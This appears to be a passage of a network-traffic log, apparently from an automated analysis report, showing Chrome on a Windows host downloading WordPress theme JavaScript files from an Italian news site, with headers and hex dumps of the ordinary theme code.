2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 1e 08 00 c3 8f e4 aa ec 38 c3 6d 96 48 6e b4 2e 70 79 df 2d 8e 1e ee dd 90 e4 6d 39 7b 48 0b 42 31 27 28 1e 39 a2 c0 09 77 98 0b b2 e7 bd c2 09 e2 32 65 ef 68 64 ba 52 8d a6 ac 61 4e 6b 95 d9 13 a6 4a d0 5d df 7e 5c ba 60 35 05 fe b9 b7 c2 bf ce ae bd cd f0 2d 3e 53 62 77 e9 cf ec ae 00 00 f6 f2 70 16 38 da 3b 29 4a d0 d5 72 e0 ed 24 20 90 d0 91 af b0 ab 8b 3e dd 6c 5e 10 4a 8d 2d c9 ab 0f bd 75 b5 b3 50 a6 cc 74 8f 17 52 78 fc 89 8f 1f 39 8e cd e1 59 d5 c2 f6 1f 84 bb 0e 6b fb 1b c7 af f4 2b b2 de 55 20 ff d4 4d c1 ea 48 fb 8c b0 95 39 3c 63 e5 a9 45 0d 49 9e 55 33 07 7c 5d b0 ee 55 6e 36 9b 15 eb f4 57 23 ea 0e 2a 90 52 cc 11 eb 3a 6b 9f 95 7c 06 45 4a 03 e9 63 b3 de e1 5d e1 8c 0a b6 64 dc f2 a3 b4 05 0b df 7f 8d 41 8b 74 e6 b9 03 95 90 c1 9a 32 f4 2f Data Ascii: 8mHn.py-m9{HB1'(9w2ehdRaNkJ]~\`5->Sbwp8;)Jr$ >l^J-uPtRx9Yk+U MH9<cEIU3\|]Un6W#*R:k\|EJc]dAt2/
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 77 d1 1a 28 48 28 94 66 9b b7 18 84 c7 ab a4 25 98 0e 79 8f 73 34 90 0b a0 15 d7 77 f4 48 c3 9f a2 05 ec dc ac 5e ff a8 11 1a c8 ca 84 74 57 01 4a e8 6d 13 07 e9 74 be 4d 3c 90 df 20 3e 8c 80 76 4e 9d c9 9f d4 fb de 4c 44 f2 ec 95 9a 55 6d d7 05 ce 65 09 51 b1 df 51 54 10 8f 0c fa 42 24 09 bb 47 d6 3c a1 21 2c 7e f5 d9 0d f8 aa 38 82 e2 15 07 ef c2 d0 29 88 2c 19 e1 23 85 3a 01 d1 55 89 13 b1 76 4b 13 28 d0 52 bd 14 38 89 1c 6a 78 9f 96 0f e8 a7 ff 47 92 42 0c 1f 74 73 8c 62 ea 1b 74 38 bb a5 ed de 6e f9 a8 b9 08 a3 2f 09 d3 9c 0a f4 77 6e e9 fa d5 f8 20 b9 ec 48 c9 d4 2d da ca bd 06 a3 e8 e9 16 bc 76 35 6c 14 d2 0c f6 ab e9 72 de 0e 2f 25 89 77 5c 9f fe 81 7b a8 af 6c 1e 31 47 db 68 a0 69 08 a3 7d 3e 66 75 53 17 5e a9 56 78 dc 43 aa 97 89 be 53 0b 58 b9 Data Ascii: w(H(f%ys4wH^tWJmtM< >vNLDUmeQQTB$G<!,~8),#:UvK(R8jxGBtsbt8n/wn H-v5lr/%w\{l1Ghi}>fuS^VxCSX
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 7b a7 3f 0f ee 5d df ba 4d 96 16 7a f7 b2 4d 3c dc 88 eb db 3b 7a 6d f0 18 0f 43 4b cf 77 a7 f2 0f 2d f4 d2 d2 d0 a2 fc 8b f3 82 20 25 2e 49 51 81 c1 bc 30 4b f9 38 c3 aa 77 e5 ff e3 80 1f 07 84 7d f9 96 d0 a1 b3 a8 01 35 75 d9 32 1d c3 05 97 f3 fd c5 26 6c 1d 66 78 fb 45 a3 56 c9 83 37 76 4e 03 a6 01 e3 7a b4 82 13 73 2d d5 3a e8 5b 9b 58 97 fb a2 11 23 3a d8 bf d8 e8 6e bc 28 3f fd d1 26 e1 01 9e 56 3f 2f 8c d0 5c ef c4 e9 db 52 41 83 e1 4a 4b db 1a 10 6d 23 d6 dd 22 4c a6 f5 4f cf d8 ab 8f 5e 3f 76 26 c0 e5 d6 b6 ce b5 53 c1 d5 40 fa 46 cd 16 0b 00 2e 10 da d4 dd 0d 56 02 01 db 54 8e 0d 30 bf fb 69 90 2a df 9f 63 5a 43 e8 16 b0 4c bf 11 c4 67 8b 27 7c 14 56 b0 33 15 c6 6b 09 14 a5 e2 6d b2 f5 75 69 b0 0f 24 0d 87 ff a7 48 6a 76 22 bb bb 3c d0 64 b9 a7 Data Ascii: {?]MzM<;zmCKw- %.IQ0K8w}5u2&lfxEV7vNzs-:[X#:n(?&V?/\RAJKm#"LO^?v&S@F.VT0i*cZCLg'\|V3kmui$Hjv"<d
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 8f c4 42 ea d4 99 29 fe 2d 58 72 ce 3a 0f 78 6d 7b 22 ff 31 76 4a 4d a3 f0 d4 dd e6 cd c1 39 15 e7 7e 83 29 f1 40 9e bf 5e 60 b6 b3 e9 e0 07 bd fe 98 97 0b 4a c9 0a f9 2e d0 5c 0f f5 dc e0 43 b9 fa 69 42 a3 ee 5e f1 de 42 49 43 b4 97 ce 15 30 b4 5b 9b 5e a3 0b 16 75 53 fd a3 cf 3f e5 aa f4 f9 b8 9f c0 d2 6a f5 f0 b0 2e 36 51 f4 f3 f1 76 54 3d 0f ca 6f 82 a8 27 12 ed 8d 8b d7 94 0d f4 b6 27 e6 d5 a1 c7 a6 ef fc b1 17 ae fd e4 1d 27 be 1d f3 c8 e0 7c b6 11 83 1d c5 61 65 f6 78 ed 6e 3a f8 f1 98 98 27 5d d0 ed fd 60 0c 1b f7 90 f2 b6 1c 0c f8 6c 8a 2f a1 9c ec 4e be df 08 14 f0 c6 08 d6 3c a6 80 fa 3c 66 fc ea c1 26 7d 60 08 79 0a 02 ad fb ee f3 93 fb f7 18 91 c2 f4 95 ed 13 17 59 f3 82 1f 1f 66 65 77 1b 26 4a 02 52 17 dd f5 bb 70 2e 89 b1 b4 07 f4 b5 fe 7e Data Ascii: B)-Xr:xm{"1vJM9~)@^`J.\CiB^BIC0[^uS?j.6QvT=o'''\|aexn:']`l/N<<f&}`yYfew&JRp.~
2024-03-28 08:51:03 UTC	880	IN	Data Raw: 73 7a 15 bf 38 f8 61 ff 36 fc 0f 9b 8d 6f 85 52 a5 d2 8c db 64 56 73 04 87 5c fe 2e 57 44 1d ee 5b 98 b8 ca 3e b0 01 f6 49 86 26 4e d1 6e 69 8b 6a b6 06 b8 c8 67 38 59 13 b8 b3 ae d3 78 b9 b6 b4 b4 8a 52 75 cf 37 6e c4 b2 e2 28 8f c8 f7 c8 08 8a f7 d1 ba bc 5d c7 65 49 f4 25 8b 6a c2 59 02 38 5f 3f 1e fd 0e cf 62 78 15 26 2a 5c d1 ee 11 0a 9e 43 e2 32 34 fc b6 bb 0c 81 d8 82 e5 36 38 83 fd 93 ea 2c 99 03 88 27 98 b3 ac 0a 2b 6e c7 cb 12 51 da 3b 56 56 a3 7f 9b 64 44 2b 4a 09 ef 19 47 9b f9 bd 38 f3 91 58 0e 52 c4 6b f0 5e 88 ec dd 41 8e f8 ca 42 e5 dc 3d 42 fa dd 9b 78 08 fb 67 d0 21 ee 10 8a 3a 5a 35 59 93 f1 48 22 7e 0d 5a b5 6d c5 90 c3 08 24 1b a3 5d 4c 9a 7f 57 bc 83 0b 83 8c 90 fe f2 7b b0 61 2c 0d 71 df 62 c5 01 25 fb cb f5 b1 08 f2 4d da 92 d6 e4 Data Ascii: sz8a6oRdVs\.WD[>I&Nnijg8YxRu7n(]eI%jY8_?bx&*\C2468,'+nQ;VVdD+JG8XRk^AB=Bxg!:Z5YH"~Zm$]LW{a,qb%M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49799	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	656	OUT	GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdLoadingBox.js?ver=12.6.5 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	737	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:03 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=2670 etag: W/"65f20638-a6e" last-modified: Wed, 13 Mar 2024 20:02:00 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4132 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BXaq6cngtCvoCVxHHM02kVRPGOin7aSvDKVQWSzQ1J9zTVMxcPKn6pQt1poElPFdmtwSrI6EF4v0F6RZr92vIr2FP%2FDw1N1osnAIrjew3X%2F6xcY0zP9sskqZukI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6604a6c032414-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:03 UTC	632	IN	Data Raw: 61 36 39 0d 0a 76 61 72 20 74 64 4c 6f 61 64 69 6e 67 42 6f 78 3d 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 64 4c 6f 61 64 69 6e 67 42 6f 78 3d 7b 73 70 65 65 64 3a 34 30 2c 61 72 72 61 79 43 6f 6c 6f 72 73 54 65 6d 70 3a 22 72 67 62 61 28 39 39 2c 20 39 39 2c 20 39 39 2c 20 30 29 3b 72 67 62 61 28 39 39 2c 20 39 39 2c 20 39 39 2c 20 30 2e 30 35 29 3b 72 67 62 61 28 39 39 2c 20 39 39 2c 20 39 39 2c 20 30 2e 30 38 29 3b 72 67 62 61 28 39 39 2c 20 39 39 2c 20 39 39 2c 20 30 2e 32 29 3b 72 67 62 61 28 39 39 2c 20 39 39 2c 20 39 39 2c 20 30 2e 33 29 3b 72 67 62 61 28 39 39 2c 20 39 39 2c 20 39 39 2c 20 30 2e 35 29 3b 72 67 62 61 28 39 39 2c 20 39 39 2c 20 39 39 2c 20 30 2e 36 29 3b 72 67 62 61 28 39 39 2c 20 39 39 2c 20 39 39 2c 20 31 29 22 2e 73 70 6c Data Ascii: a69var tdLoadingBox={};(function(){tdLoadingBox={speed:40,arrayColorsTemp:"rgba(99, 99, 99, 0);rgba(99, 99, 99, 0.05);rgba(99, 99, 99, 0.08);rgba(99, 99, 99, 0.2);rgba(99, 99, 99, 0.3);rgba(99, 99, 99, 0.5);rgba(99, 99, 99, 0.6);rgba(99, 99, 99, 1)".spl
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 22 20 30 2e 35 29 22 2c 74 64 4c 6f 61 64 69 6e 67 42 6f 78 2e 61 72 72 61 79 43 6f 6c 6f 72 73 5b 34 5d 3d 61 2b 22 20 30 2e 33 29 22 2c 74 64 4c 6f 61 64 69 6e 67 42 6f 78 2e 61 72 72 61 79 43 6f 6c 6f 72 73 5b 33 5d 3d 61 2b 22 20 30 2e 31 35 29 22 2c 74 64 4c 6f 61 64 69 6e 67 42 6f 78 2e 61 72 72 61 79 43 6f 6c 6f 72 73 5b 32 5d 3d 61 2b 22 20 30 2e 31 35 29 22 2c 74 64 4c 6f 61 64 69 6e 67 42 6f 78 2e 61 72 72 61 79 43 6f 6c 6f 72 73 5b 31 5d 3d 61 2b 22 20 30 2e 31 35 29 22 2c 74 64 4c 6f 61 64 69 6e 67 42 6f 78 2e 61 72 72 61 79 43 6f 6c 6f 72 73 5b 30 5d 3d 61 2b 22 20 30 2e 31 35 29 22 29 3a 74 64 4c 6f 61 64 69 6e 67 42 6f 78 2e 61 72 72 61 79 43 6f 6c 6f 72 73 3d 74 64 4c 6f 61 64 69 6e 67 42 6f 78 2e 61 72 72 61 79 43 6f 6c 6f 72 73 54 65 6d Data Ascii: " 0.5)",tdLoadingBox.arrayColors[4]=a+" 0.3)",tdLoadingBox.arrayColors[3]=a+" 0.15)",tdLoadingBox.arrayColors[2]=a+" 0.15)",tdLoadingBox.arrayColors[1]=a+" 0.15)",tdLoadingBox.arrayColors[0]=a+" 0.15)"):tdLoadingBox.arrayColors=tdLoadingBox.arrayColorsTem
2024-03-28 08:51:03 UTC	671	IN	Data Raw: 5d 2c 74 64 4c 6f 61 64 69 6e 67 42 6f 78 2e 61 72 72 61 79 43 6f 6c 6f 72 73 5b 36 5d 2c 74 64 4c 6f 61 64 69 6e 67 42 6f 78 2e 61 72 72 61 79 43 6f 6c 6f 72 73 5b 37 5d 5d 3b 74 64 4c 6f 61 64 69 6e 67 42 6f 78 2e 61 72 72 61 79 43 6f 6c 6f 72 73 5b 30 5d 3d 61 5b 37 5d 3b 74 64 4c 6f 61 64 69 6e 67 42 6f 78 2e 61 72 72 61 79 43 6f 6c 6f 72 73 5b 31 5d 3d 61 5b 30 5d 3b 74 64 4c 6f 61 64 69 6e 67 42 6f 78 2e 61 72 72 61 79 43 6f 6c 6f 72 73 5b 32 5d 3d 61 5b 31 5d 3b 74 64 4c 6f 61 64 69 6e 67 42 6f 78 2e 61 72 72 61 79 43 6f 6c 6f 72 73 5b 33 5d 3d 61 5b 32 5d 3b 74 64 4c 6f 61 64 69 6e 67 42 6f 78 2e 61 72 72 61 79 43 6f 6c 6f 72 73 5b 34 5d 3d 61 5b 33 5d 3b 74 64 4c 6f 61 64 69 6e 67 42 6f 78 2e 61 72 72 61 79 43 6f 6c 6f 72 73 5b 35 5d 3d 61 5b 34 Data Ascii: ],tdLoadingBox.arrayColors[6],tdLoadingBox.arrayColors[7]];tdLoadingBox.arrayColors[0]=a[7];tdLoadingBox.arrayColors[1]=a[0];tdLoadingBox.arrayColors[2]=a[1];tdLoadingBox.arrayColors[3]=a[2];tdLoadingBox.arrayColors[4]=a[3];tdLoadingBox.arrayColors[5]=a[4
2024-03-28 08:51:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49800	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	651	OUT	GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdToTop.js?ver=12.6.5 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	743	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:03 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=1316 etag: W/"65f20638-524" last-modified: Wed, 13 Mar 2024 20:02:00 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4448 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iEHOzGxw2Vd97Z6lYa4ODRIeMixSxIceEUT%2BA4GiVekNxRQEvX9tFZpXO3uXdZBeIqrDz7iOTaLQtbIjsrZLJErFlVnmxkj%2F2LlqFadi%2FlXRIusLp%2BgvBWo%2BqdY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6604a680057d3-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:03 UTC	626	IN	Data Raw: 35 32 30 0d 0a 76 61 72 20 74 64 54 6f 54 6f 70 3d 7b 7d 3b 6a 51 75 65 72 79 28 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 64 54 6f 54 6f 70 2e 69 6e 69 74 28 29 7d 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 64 54 6f 54 6f 70 3d 7b 24 65 6c 65 6d 65 6e 74 3a 76 6f 69 64 20 30 2c 73 74 79 6c 65 3a 22 22 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 6a 51 75 65 72 79 28 22 2e 74 64 2d 73 63 72 6f 6c 6c 2d 75 70 22 29 3b 61 2e 6c 65 6e 67 74 68 26 26 28 74 64 54 6f 54 6f 70 2e 24 65 6c 65 6d 65 6e 74 3d 61 2c 74 64 54 6f 54 6f 70 2e 73 74 79 6c 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 61 2e 64 61 74 61 28 22 73 74 79 6c 65 22 29 3f 61 2e 64 61 74 61 28 22 73 74 79 6c 65 22 29 3a 22 73 74 Data Ascii: 520var tdToTop={};jQuery().ready(function(){tdToTop.init()});(function(){tdToTop={$element:void 0,style:"",init:function(){var a=jQuery(".td-scroll-up");a.length&&(tdToTop.$element=a,tdToTop.style="undefined"!==typeof a.data("style")?a.data("style"):"st
2024-03-28 08:51:03 UTC	693	IN	Data Raw: 6c 65 29 7b 63 61 73 65 20 22 73 74 79 6c 65 32 22 3a 76 61 72 20 63 3d 74 64 54 6f 54 6f 70 2e 24 65 6c 65 6d 65 6e 74 2e 66 69 6e 64 28 22 2e 74 64 2d 73 63 72 6f 6c 6c 2d 75 70 2d 70 72 6f 67 72 65 73 73 2d 63 69 72 63 6c 65 20 70 61 74 68 22 29 2c 62 3d 63 2e 67 65 74 28 30 29 2e 67 65 74 54 6f 74 61 6c 4c 65 6e 67 74 68 28 29 2c 64 3d 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 68 65 69 67 68 74 28 29 2d 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 68 65 69 67 68 74 28 29 3b 61 3d 62 2d 61 2a 62 2f 64 3b 62 3d 6a 51 75 65 72 79 28 22 2e 74 64 2d 66 6f 6f 74 65 72 2d 74 65 6d 70 6c 61 74 65 2d 77 72 61 70 22 29 3b 63 2e 63 73 73 28 7b 22 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 22 3a 61 7d 29 3b 74 64 55 74 69 6c 2e 69 73 49 6e 56 69 Data Ascii: le){case "style2":var c=tdToTop.$element.find(".td-scroll-up-progress-circle path"),b=c.get(0).getTotalLength(),d=jQuery(document).height()-jQuery(window).height();a=b-a*b/d;b=jQuery(".td-footer-template-wrap");c.css({"stroke-dashoffset":a});tdUtil.isInVi
2024-03-28 08:51:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49798	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	656	OUT	GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdAjaxSearch.js?ver=12.6.5 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	746	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:03 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=6145 etag: W/"65f20638-1801" last-modified: Wed, 13 Mar 2024 20:02:00 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 5195 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jDgT5pKmD%2BunWJBRQO07e%2FZIx8yLBJqziyDFx5bYVtWa7QxN1gLgfwGIeafG9yOF7PY4C%2B03VUduCrIomVfQ9kjamIwGK6d%2F%2FgIGzOd%2FceCgRvkHvsLIvlDbdIM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6604a6ae03964-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:03 UTC	623	IN	Data Raw: 31 37 66 34 0d 0a 76 61 72 20 74 64 41 6a 61 78 53 65 61 72 63 68 3d 7b 7d 3b 6a 51 75 65 72 79 28 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 64 41 6a 61 78 53 65 61 72 63 68 2e 69 6e 69 74 28 29 7d 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 64 41 6a 61 78 53 65 61 72 63 68 3d 7b 5f 63 75 72 72 65 6e 74 5f 73 65 6c 65 63 74 69 6f 6e 5f 69 6e 64 65 78 3a 30 2c 5f 6c 61 73 74 5f 72 65 71 75 65 73 74 5f 72 65 73 75 6c 74 73 5f 63 6f 75 6e 74 3a 30 2c 5f 66 69 72 73 74 5f 64 6f 77 6e 5f 75 70 3a 21 30 2c 5f 69 73 5f 73 65 61 72 63 68 5f 6f 70 65 6e 3a 21 31 2c 5f 69 73 5f 6d 6f 62 5f 6c 69 76 65 5f 73 65 61 72 63 68 5f 61 63 74 69 76 65 3a 21 30 2c 5f 62 6c 6f 63 6b 41 74 74 73 3a 76 6f 69 64 20 30 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e Data Ascii: 17f4var tdAjaxSearch={};jQuery().ready(function(){tdAjaxSearch.init()});(function(){tdAjaxSearch={_current_selection_index:0,_last_request_results_count:0,_first_down_up:!0,_is_search_open:!1,_is_mob_live_search_active:!0,_blockAtts:void 0,init:function
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 64 65 5f 73 65 61 72 63 68 5f 62 6f 78 28 29 3a 74 64 41 6a 61 78 53 65 61 72 63 68 2e 73 68 6f 77 5f 73 65 61 72 63 68 5f 62 6f 78 28 29 7d 29 3b 6a 51 75 65 72 79 28 22 23 74 64 2d 68 65 61 64 65 72 2d 73 65 61 72 63 68 2d 62 75 74 74 6f 6e 2d 6d 6f 62 2c 20 2e 74 64 62 2d 68 65 61 64 65 72 2d 73 65 61 72 63 68 2d 62 75 74 74 6f 6e 2d 6d 6f 62 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 22 64 69 73 61 62 6c 65 64 22 21 3d 3d 77 69 6e 64 6f 77 2e 74 64 4d 6f 62 69 6c 65 53 65 61 72 63 68 29 7b 6a 51 75 65 72 79 28 22 62 6f 64 79 22 29 2e 61 64 64 43 6c 61 73 73 28 22 74 64 2d 73 65 61 72 63 68 2d 6f 70 65 6e 65 64 22 29 3b 76 61 72 20 62 3d 6a 51 75 65 72 79 28 22 23 74 64 2d 68 65 61 64 65 72 2d 73 65 61 72 63 Data Ascii: de_search_box():tdAjaxSearch.show_search_box()});jQuery("#td-header-search-button-mob, .tdb-header-search-button-mob").on("click",function(a){if("disabled"!==window.tdMobileSearch){jQuery("body").addClass("td-search-opened");var b=jQuery("#td-header-searc
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 68 2d 6d 6f 62 22 29 2e 6b 65 79 64 6f 77 6e 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 77 68 69 63 68 26 26 31 33 3d 3d 3d 61 2e 77 68 69 63 68 7c 7c 61 2e 6b 65 79 43 6f 64 65 26 26 31 33 3d 3d 3d 61 2e 6b 65 79 43 6f 64 65 29 72 65 74 75 72 6e 20 61 3d 6a 51 75 65 72 79 28 22 2e 74 64 2d 61 6a 2d 63 75 72 2d 65 6c 65 6d 65 6e 74 22 29 2c 30 3c 61 2e 6c 65 6e 67 74 68 3f 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 61 2e 66 69 6e 64 28 22 2e 65 6e 74 72 79 2d 74 69 74 6c 65 20 61 22 29 2e 61 74 74 72 28 22 68 72 65 66 22 29 3a 6a 51 75 65 72 79 28 74 68 69 73 29 2e 70 61 72 65 6e 74 28 29 2e 70 61 72 65 6e 74 28 29 2e 73 75 62 6d 69 74 28 29 2c 21 31 3b 28 61 2e 77 68 69 63 68 26 26 38 3d 3d 3d 61 2e 77 68 69 63 68 7c 7c 61 2e 6b 65 79 43 Data Ascii: h-mob").keydown(function(a){if(a.which&&13===a.which\|\|a.keyCode&&13===a.keyCode)return a=jQuery(".td-aj-cur-element"),0<a.length?window.location=a.find(".entry-title a").attr("href"):jQuery(this).parent().parent().submit(),!1;(a.which&&8===a.which\|\|a.keyC
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 53 65 61 72 63 68 2e 5f 63 75 72 72 65 6e 74 5f 73 65 6c 65 63 74 69 6f 6e 5f 69 6e 64 65 78 3d 3d 3d 74 64 41 6a 61 78 53 65 61 72 63 68 2e 5f 6c 61 73 74 5f 72 65 71 75 65 73 74 5f 72 65 73 75 6c 74 73 5f 63 6f 75 6e 74 3f 74 64 41 6a 61 78 53 65 61 72 63 68 2e 5f 63 75 72 72 65 6e 74 5f 73 65 6c 65 63 74 69 6f 6e 5f 69 6e 64 65 78 3d 30 3a 74 64 41 6a 61 78 53 65 61 72 63 68 2e 5f 63 75 72 72 65 6e 74 5f 73 65 6c 65 63 74 69 6f 6e 5f 69 6e 64 65 78 2b 2b 3b 74 64 41 6a 61 78 53 65 61 72 63 68 2e 5f 72 65 70 61 69 6e 74 43 75 72 72 65 6e 74 45 6c 65 6d 65 6e 74 28 29 7d 2c 5f 72 65 70 61 69 6e 74 43 75 72 72 65 6e 74 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 6a 51 75 65 72 79 28 22 2e 74 64 5f 6d 6f 64 75 6c 65 5f 77 72 61 70 22 29 2e 72 Data Ascii: Search._current_selection_index===tdAjaxSearch._last_request_results_count?tdAjaxSearch._current_selection_index=0:tdAjaxSearch._current_selection_index++;tdAjaxSearch._repaintCurrentElement()},_repaintCurrentElement:function(){jQuery(".td_module_wrap").r
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 61 72 63 68 20 2e 74 64 2d 61 6e 69 6d 61 74 69 6f 6e 2d 73 74 61 63 6b 22 2c 77 69 6e 64 6f 77 2e 74 64 41 6e 69 6d 61 74 69 6f 6e 53 74 61 63 6b 2e 53 4f 52 54 45 44 5f 4d 45 54 48 4f 44 2e 73 6f 72 74 5f 6c 65 66 74 5f 74 6f 5f 72 69 67 68 74 2c 21 30 2c 21 31 29 2c 77 69 6e 64 6f 77 2e 74 64 41 6e 69 6d 61 74 69 6f 6e 53 74 61 63 6b 2e 63 6f 6d 70 75 74 65 5f 69 74 65 6d 73 28 21 31 29 29 29 29 7d 2c 70 72 6f 63 65 73 73 5f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 6d 6f 62 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6a 51 75 65 72 79 28 22 23 74 64 2d 68 65 61 64 65 72 2d 73 65 61 72 63 68 2d 6d 6f 62 22 29 2e 76 61 6c 28 29 3b 22 22 3d 3d 3d 62 3f 6a 51 75 65 72 79 28 22 23 74 64 2d 61 6a 2d 73 65 61 72 63 68 2d 6d 6f 62 22 29 2e 65 6d Data Ascii: arch .td-animation-stack",window.tdAnimationStack.SORTED_METHOD.sort_left_to_right,!0,!1),window.tdAnimationStack.compute_items(!1))))},process_ajax_response_mob:function(a){var b=jQuery("#td-header-search-mob").val();""===b?jQuery("#td-aj-search-mob").em
2024-03-28 08:51:03 UTC	41	IN	Data Raw: 62 28 62 29 7d 2c 65 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 63 2c 64 29 7b 7d 7d 29 29 7d 7d 7d 29 28 29 3b 0d 0a Data Ascii: b(b)},error:function(a,c,d){}}))}}})();
2024-03-28 08:51:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49797	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
